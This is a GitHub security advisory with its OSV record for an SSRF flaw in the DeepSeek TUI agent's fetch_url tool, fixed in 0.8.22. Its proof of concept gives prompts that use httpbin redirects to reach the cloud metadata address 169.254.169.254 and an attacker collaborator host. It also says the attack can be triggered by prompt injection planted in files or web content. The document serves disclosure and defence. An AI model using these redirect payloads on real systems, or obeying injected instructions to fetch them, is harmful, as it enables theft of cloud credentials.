GHSA-96FF-GC8G-WPVG
Vulnerability from github – Published: 2026-05-14 20:29 – Updated: 2026-05-14 20:29Summary
The fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections.
PoC
Step 1 — Baseline: Confirm fetch_url blocks direct requests to restricted IPs.
Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/
Expected: Error — "restricted address (private/loopback/link-local)"
Step 2 — SSRF bypass via redirect: Fetch a public URL that redirects to the restricted IP.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302
Expected result: The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because 169.254.169.254 is unreachable from a non-cloud machine.
Observed result: fetch_url followed the 302 redirect and attempted to connect to 169.254.169.254. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.
Step 3 — Redirect to attacker-controlled host: Confirm attacker-controlled redirect targets are followed.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302
Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.
Impact
On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting fetch_url to http://169.254.169.254/latest/meta-data/. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call fetch_url with an attacker-controlled URL.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "deepseek-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "deepseek-tui-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "deepseek-tui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45310"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:29:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe `fetch_url` tool validates the initial URL\u0027s resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections.\n\n### PoC\n**Step 1 \u2014 Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs.\n```\nPrompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/\nExpected: Error \u2014 \"restricted address (private/loopback/link-local)\"\n```\n\n**Step 2 \u2014 SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/\u0026status_code=302\n```\n\n**Expected result:** The error message says \"connection refused\" or \"request failed: connect error\" \u2014 NOT \"restricted address.\" This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine.\n\n**Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.\n\n**Step 3 \u2014 Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass\u0026status_code=302\nExpected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.\n```\n\n### Impact\nOn cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.",
"id": "GHSA-96ff-gc8g-wpvg",
"modified": "2026-05-14T20:29:27Z",
"published": "2026-05-14T20:29:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Hmbown/DeepSeek-TUI/security/advisories/GHSA-96ff-gc8g-wpvg"
},
{
"type": "PACKAGE",
"url": "https://github.com/Hmbown/DeepSeek-TUI"
},
{
"type": "WEB",
"url": "https://github.com/Hmbown/DeepSeek-TUI/releases/tag/v0.8.22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.